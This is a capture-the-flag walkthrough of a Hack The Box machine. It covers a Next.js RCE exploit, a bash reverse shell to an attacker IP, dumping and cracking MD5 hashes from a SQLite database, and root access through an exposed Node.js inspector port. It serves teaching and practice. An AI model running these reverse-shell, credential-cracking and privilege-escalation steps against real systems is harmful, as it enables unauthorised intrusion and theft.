HTB-Season-11-Reactor

Overview
Reactor is a Linux machine running a Next.js 15.0.3 web application on port 3000. The attack chain involves exploiting a critical Remote Code Execution vulnerability in Next.js (CVE-2025-55182) to gain an initial foothold, dumping credentials from a local SQLite database, cracking MD5 hashes with Hashcat, and finally performing privilege escalation via a Node.js inspector debug socket listening on localhost.
Enumeration :
Port Scanning — Nmap
nmap -Pn -sC 10.129.1.50
Results:
| Port | State | Service |
|---|---|---|
| 22/tcp | open | ssh |
| 3000/tcp | open | ppp |

Web Fingerprinting — Wappalyzer
Using Wappalyzer on http://10.129.1.50:3000 revealed:
- JavaScript Framework: Next.js 15.0.3
- Web Framework: Next.js 15.0.3
- Web Server: Next.js 15.0.3
- Static Site Generator: Next.js 15.0.3
- Performance: Priority Hints

Exploitation — CVE-2025-55182 (Next.js RCE)
Vulnerability
CVE-2025-55182 is a Remote Code Execution vulnerability affecting Next.js versions prior to the patch. It allows an unauthenticated attacker to execute arbitrary system commands via a crafted Flight payload.
References:
- PoC Repository: https://github.com/nehkark/CVE-2025-55182/
Setting Up Listener
rlwrap nc -lvnp 4444
Executing the PoC
python3 poc-cve-2025-55182.py \
-u http://10.129.1.50:3000 \
-c "sh -i >& /dev/tcp/10.10.14.53/4444 0>&1"

### Reverse Shell Received
listening on [any] 4444 ...
connect to [10.10.14.53] from (UNKNOWN) [10.129.1.50] 43740
sh: 0: can't access tty; job control is turned off
$
If we look closely we will be finding a .db file if we open it using sqlite3 you will come across this :
Shell landed as the `node` user inside `/opt/reactor-app`.
$ ls
app
next.config.js
node_modules
package.json
package-lock.json
reactor.db
Post-Exploitation — Database Credential Dump
A SQLite database reactor.db was present in the app directory.
sqlite3 reactor.db ".dump"
Database Schema
CREATE TABLE users (
id INTEGER PRIMARY KEY,
username TEXT NOT NULL,
password_hash TEXT NOT NULL,
role TEXT NOT NULL,
email TEXT
);
Extracted Credentials
INSERT INTO users VALUES(1,'admin','a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb');
INSERT INTO users VALUES(2,'engineer','39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');
| # | Username | Hash (MD5) | Role |
|---|---|---|---|
| 1 | admin | a203b22191d744a4e70ada5c101b17b8 | administrator |
| 2 | engineer | 39d97110eafe2a9a68639812cd271e8e | operator |

Password Cracking — Hashcat (MD5)
Preparing Hash File
echo "a203b22191d744a4e70ada5c101b17b8" > hashes.txt
echo "39d97110eafe2a9a68639812cd271e8e" >> hashes.txt

Cracking with Hashcat
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
Results
39d97110eafe2a9a68639812cd271e8e:reactor1

| Username | Password |
|---|---|
| engineer | reactor1 |
| admin | (not cracked / not needed) |
engineer credentials was not working for direct SSH access.Lateral Movement — User Flag
Since SSH didn't work, we leveraged the existing shell (running as node) and switched users directly:
su engineer
# Password: reactor1
engineer@reactor:/home$ cd engineer
engineer@reactor:~$ ls
user.txt

Privilege Escalation — Node.js Inspector Debug Socket
Internal Port Discovery
ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 *:3000 *:*
LISTEN 0 4096 [::]:22 [::]:*

Port 9229 is the Node.js Inspector debug port, listening only on localhost. This is a well-known privilege escalation vector when running as a privileged user.
Exploiting Node Inspector for RCE as Root
node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug>
Once in the debug REPL, we executed a system command to read the root flag:
exec('process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()')
Attack Chain Summary
Nmap Scan → Port 3000 (Next.js 15.0.3)
↓
CVE-2025-55182 RCE → Reverse Shell (node user)
↓
SQLite DB Dump → MD5 Hashes (admin, engineer)
↓
Hashcat Crack → engineer:reactor1
↓
su engineer → user.txt ✅
↓
ss -tlnp → Port 9229 (Node Inspector)
↓
node inspect → RCE as root → root.txt ✅
Tools Used
| Tool | Purpose |
|---|---|
| Nmap | Port scanning & service enum |
| Wappalyzer | Technology fingerprinting |
| CVE-2025-55182 PoC | Next.js RCE exploitation |
| netcat (rlwrap) | Reverse shell listener |
| sqlite3 | Database credential extraction |
| Hashcat | MD5 password cracking |
| node inspect | Node.js debug socket exploit |
Key Takeaways
- Always fingerprint web framework versions — Next.js 15.0.3 had a publicly known critical RCE.
- SQLite databases in app directories are low-hanging fruit for credential harvesting post-foothold.
- MD5 password hashing remains dangerously weak — cracked in under 10 seconds with rockyou.
- Node.js Inspector port (9229) exposed locally is a serious privilege escalation vector, especially when the process runs as root.
- SSH failures don't mean lateral movement is blocked —
sufrom an existing shell worked perfectly.
Return Home